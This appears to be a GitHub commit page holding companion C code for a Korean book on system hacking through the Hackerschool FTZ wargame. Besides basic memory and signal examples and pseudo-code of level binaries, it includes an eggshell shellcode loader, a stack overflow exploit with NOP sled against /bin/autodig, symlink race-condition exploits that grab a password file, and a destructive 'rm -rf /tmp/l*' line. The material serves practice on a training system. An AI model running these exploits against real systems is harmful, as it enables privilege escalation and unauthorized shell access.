-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
<문제 풀이로 배우는 시스템 해킹 테크닉: 해커스쿨 FTZ를 활용한 단계별 해킹 수련법> 소스코드
- Loading branch information
0 parents
commit c17b34e
Showing
47 changed files
with
1,546 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
#include <stdio.h> | ||
|
||
int retVal = 0; | ||
int outVal; | ||
|
||
int main( ) | ||
{ | ||
char string[] = "hello"; // "hello"라는 문자열을 char 배열에 초기화 | ||
char *ptr; // char 타입의 포인터를 선언 | ||
static int output = 1; // output이라는 static 변수를 1로 초기화 | ||
ptr = (char *)malloc(sizeof(string)); // ptr 포인터 변수에 동적 힙 메모리 주소를 할당 | ||
printf("%s\n", string); // 문자열 출력 | ||
return retVal; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
#include <stdio.h> | ||
|
||
/* function( ) 함수 정의 */ | ||
void function(int a, int b, int c) { // int 타입의 a, b, c 인자를 받음 | ||
char buffer1[5]; // char 타입의 buffer 배열을 지역변수로 선언 | ||
char buffer2[10]; // char 타입의 buffer2 배열을 지역변수로 선언 | ||
} | ||
|
||
int main( ) { | ||
function(1,2,3); // function( ) 함수에 인자로 1, 2, 3를 전달하면서 호출 | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
/* | ||
* Author : [email protected] | ||
* DATA : pseudo code for level1 | ||
* LICENSE : GNU License | ||
*/ | ||
|
||
|
||
#include <stdio.h> | ||
#include <string.h> | ||
#include <unistd.h> | ||
#include <stdlib.h> | ||
|
||
int main() | ||
{ | ||
char input[29]; | ||
char *denyMyPass = "my-pass"; | ||
char *denyChmod = "chmod"; | ||
|
||
system("clear"); | ||
chdir("/home/level2"); | ||
printf("\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n"); | ||
printf("\t\t한가지 실행시켜 드리겠습니다.\n"); | ||
printf("\t\t(단, my-pass 와 chmod는 제외)\n"); | ||
printf("\n\t\t어떤 명령을 실행시키겠습니까?\n"); | ||
printf("\n\n\t\t[level2@ftz level2]$ "); | ||
|
||
fgets(input, sizeof(input), stdin); | ||
|
||
if( strstr(input, denyMyPass) != NULL ) | ||
{ | ||
printf("\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n"); | ||
exit(0); | ||
} | ||
else if( strstr(input, denyChmod) != NULL ) | ||
{ | ||
printf("\n\t\tchmod 명령은 사용할 수 없습니다.\n\n"); | ||
exit(0); | ||
} | ||
printf("\n\n"); | ||
|
||
setreuid(3002, 3002); | ||
system(input); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
/* | ||
* eggshell v1.1 | ||
* | ||
* Aleph One / [email protected] | ||
* Edited by [email protected] | ||
*/ | ||
|
||
#include <stdio.h> | ||
|
||
#define DEFAULT_OFFSET 0 | ||
#define DEFAULT_BUFFER_SIZE 512 | ||
#define DEFAULT_EGG_SIZE 2048 | ||
#define NOP 0x90 | ||
#define NOP_SIZE 4 | ||
|
||
char shellcode[] = | ||
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | ||
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | ||
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; | ||
|
||
unsigned long get_sp(void) { | ||
__asm__("movl %esp,%eax"); | ||
} | ||
|
||
int main(int argc, char xargv[]) { | ||
char xptr, xbof, xegg; | ||
long xaddr_ptr, addr; | ||
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; | ||
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; | ||
|
||
if (strlen(shellcode) > eggsize) { | ||
printf("Shellcode is larger the the egg.\n"); | ||
exit(0); | ||
} | ||
|
||
if (!(bof = malloc(bsize))) { | ||
printf("Can't allocate memory.\n"); | ||
exit(0); | ||
} | ||
|
||
if (!(egg = malloc(eggsize))) { | ||
printf("Can't allocate memory.\n"); | ||
exit(0); | ||
} | ||
|
||
addr = get_sp( ) - offset; | ||
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); | ||
addr_ptr = (long x) bof; | ||
for (i = 0; i < bsize; i+=4) | ||
*(addr_ptr++) = addr; | ||
ptr = egg; | ||
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) | ||
for (n = 0; n < NOP_SIZE; n++) { | ||
m = (n + align) % NOP_SIZE; | ||
*(ptr++) = NOP; | ||
} | ||
for (i = 0; i < strlen(shellcode); i++) | ||
*(ptr++) = shellcode[i]; | ||
bof[bsize - 1] = '\0'; | ||
egg[eggsize - 1] = '\0'; | ||
memcpy(egg,"EGG=",4); | ||
putenv(egg); | ||
memcpy(bof,"BOF=",4); | ||
putenv(bof); | ||
system("/bin/sh"); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
/* | ||
* Author : [email protected] | ||
* DATA : exploit for level3 | ||
* LICENSE : GNU License | ||
*/ | ||
|
||
#include <stdio.h> | ||
#include <stdlib.h> | ||
|
||
#define VICTIM "/bin/autodig" | ||
|
||
#define NOP 0x90 | ||
#define BUFSIZE 123 /* NOP(70) + shellcode(45) + sfp(4) + ret(4)*/ | ||
#define offset 0x0 | ||
|
||
char shellcode[] = | ||
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | ||
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | ||
"\x80\xe8\xdc\xff\xff\xff/bin/sh" | ||
// "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" | ||
// "\xe3\xb0\x0b\xcd\x80" | ||
"\xc8\xf9\xff\xbf\xc8\xf9\xff\xbf"; | ||
|
||
unsigned long get_sp(void) | ||
{ | ||
__asm__("movl %esp, %eax"); | ||
} | ||
|
||
int main() | ||
{ | ||
char cmdBuf[BUFSIZE]; | ||
char cmd[BUFSIZE]; | ||
int i, j, shellLen; | ||
long addr; | ||
|
||
shellLen = strlen(shellcode); | ||
|
||
addr = get_sp() - offset; | ||
printf("Using address: 0x%x\n", addr); | ||
|
||
for(i=0; i<sizeof(cmdBuf)-shellLen; i++) | ||
cmdBuf[i] = NOP; | ||
printf("I : %d\n", i); | ||
for(j=0; j<shellLen; j++) | ||
cmdBuf[i++] = shellcode[j]; | ||
printf("I : %d \n", i); | ||
|
||
strcpy(cmd, "`"); | ||
strcat(cmd, cmdBuf); | ||
strcat(cmd, "`"); | ||
|
||
execl(VICTIM, VICTIM, cmd, 0); | ||
|
||
|
||
} | ||
|
||
|
||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
#include <unistd.h> | ||
|
||
int main( ) | ||
{ | ||
int i; | ||
system("touch /tmp/lvl6pass.txt"); | ||
|
||
for(i=0; i<=10; i++) | ||
{ | ||
system("ln -s /tmp/lvl6pass.txt /tmp/level5.tmp"); | ||
} | ||
system("cat /tmp/lvl6pass.txt"); | ||
system("rm –rf /tmp/l*"); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,51 @@ | ||
/* | ||
* Author : [email protected] | ||
* DATA : exploit for level5 | ||
* LICENSE : GNU License | ||
*/ | ||
|
||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <pthread.h> | ||
|
||
void *exec_cmd( ); | ||
void *exec_race( ); | ||
|
||
int main( ) | ||
{ | ||
// 변수 선언 | ||
pthread_t thread1, thread2; | ||
char *message1 = "Thread 1"; | ||
char *message2 = "Thread 2"; | ||
int iret1, iret2, i; | ||
// 대상 프로세스를 실행하고 해당 파일과 경쟁할 링크를 생성하는 프로세스의 실행 | ||
// 스레드를 생성 | ||
iret1 = pthread_create( &thread1, NULL, exec_cmd, (void*) message1); | ||
iret2 = pthread_create( &thread2, NULL, exec_race, (void*) message2); | ||
// 스레드 종료 대기 | ||
pthread_join( thread1, NULL); | ||
pthread_join( thread2, NULL); | ||
printf("Thread 1 returns: %d\n",iret1); | ||
printf("Thread 2 returns: %d\n",iret2); | ||
return 0; | ||
} | ||
void *exec_cmd( ) | ||
{ | ||
int i; | ||
for(i=0; i<10; i++) { // 취약한 프로세스를 반복 실행 | ||
system("/usr/bin/level5 &"); | ||
printf("---Execute level5-----\n"); | ||
} | ||
exit(0); | ||
} | ||
void *exec_race( ) | ||
{ | ||
int i; | ||
system("touch /tmp/lvl6pass.txt"); // 경쟁할 파일 생성 | ||
for(i=0; i<10; i++) { // 경쟁 파일을 공격 대상 파일로 링크 걸기 반복 시도 | ||
system("ln -s /tmp/lvl6pass.txt /tmp/level5.tmp &"); | ||
printf("===Successfully create link !!!===\n"); | ||
system("cat /tmp/lvl6pass.txt"); | ||
} | ||
exit(0); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
#include <unistd.h> | ||
|
||
int main( ) | ||
{ | ||
int i; | ||
for(i=0; i<=10; i++) | ||
{ | ||
system("/usr/bin/level5 &"); // 백그라운드로 프로세스 실행 | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
#include<stdio.h> | ||
#include<signal.h> | ||
#include<unistd.h> | ||
|
||
// SIGINT(Ctrl+C) 시그널이 입력됐을 때 실행되는 함수 | ||
void sigint_handler(int signo) | ||
{ | ||
printf("received %d\n", signo); | ||
signal(SIGINT, SIG_DFL); // SIGINT 시그널을 실행한다. | ||
} | ||
|
||
// SIGTSTP(Ctrl+Z) 시그널이 입력됐을 때 실행되는 함수 | ||
void sigtstp_handler(int signo) | ||
{ | ||
printf("received %d\n", signo); | ||
signal(SIGTSTP, SIG_IGN); // SIGTSTP 시그널을 실행하지 않는다. | ||
} | ||
|
||
// SIGQUIT(Ctrl+\) 시그널이 입력됐을 때 실행되는 함수 | ||
void sigquit_handler(int signo) | ||
{ | ||
printf("received %d\n", signo); | ||
signal(SIGQUIT, SIG_DFL); // SIGQUIT 시그널을 실행한다. | ||
} | ||
|
||
|
||
int main(void) | ||
{ | ||
// SIGINT(Ctrl+C) 시그널이 입력됐을 때 sigint_handler( )를 실행한다 | ||
if (signal(SIGINT, sigint_handler) == SIG_ERR) | ||
printf("\ncan't catch signal\n"); | ||
|
||
// SIGTSTP(Ctrl+Z) 시그널이 입력됐을 때 sigtstp_handler( )를 실행한다 | ||
if (signal(SIGTSTP, sigtstp_handler) == SIG_ERR) | ||
printf("\ncan't catch signal\n"); | ||
|
||
// SIGQUIT(Ctrl+\) 시그널이 입력됐을 때 sigquit_handler( )를 실행한다 | ||
if (signal(SIGQUIT, sigquit_handler) == SIG_ERR) | ||
printf("\ncan't catch signal\n"); | ||
// 시그널로 입력되는 키를 확인하기 위해 무한히 실행한다. | ||
while(1) | ||
sleep(1); | ||
|
||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
/* | ||
* Author : [email protected] | ||
* DATA : pseudo for level7 | ||
* LICENSE : GNU License | ||
*/ | ||
|
||
#include <stdio.h> | ||
#include <malloc.h> | ||
|
||
int main( ) | ||
{ | ||
char *input; | ||
char *pass = "mate"; | ||
|
||
if( (input = (char *)malloc(0x64)) == NULL ) | ||
{ | ||
printf("malloc( ) error\n"); | ||
exit(1); | ||
} | ||
printf("Insert The Password : "); | ||
|
||
fgets(input, 0x64, stdin); | ||
|
||
if(strncmp(input, pass, 0x4) == 0) // 입력받은 문자열의 앞자리 4자만 체크한다 | ||
{ | ||
printf("\nCongratulation! next password is \"break the world\".\n\n"); | ||
exit(0); | ||
} | ||
else | ||
system("cat /bin/wrong.txt"); | ||
|
||
free(input); // 디버깅에서는 없었지만 습관적으로 해제해 주는 것이 좋다 | ||
return 0; | ||
} |
Oops, something went wrong.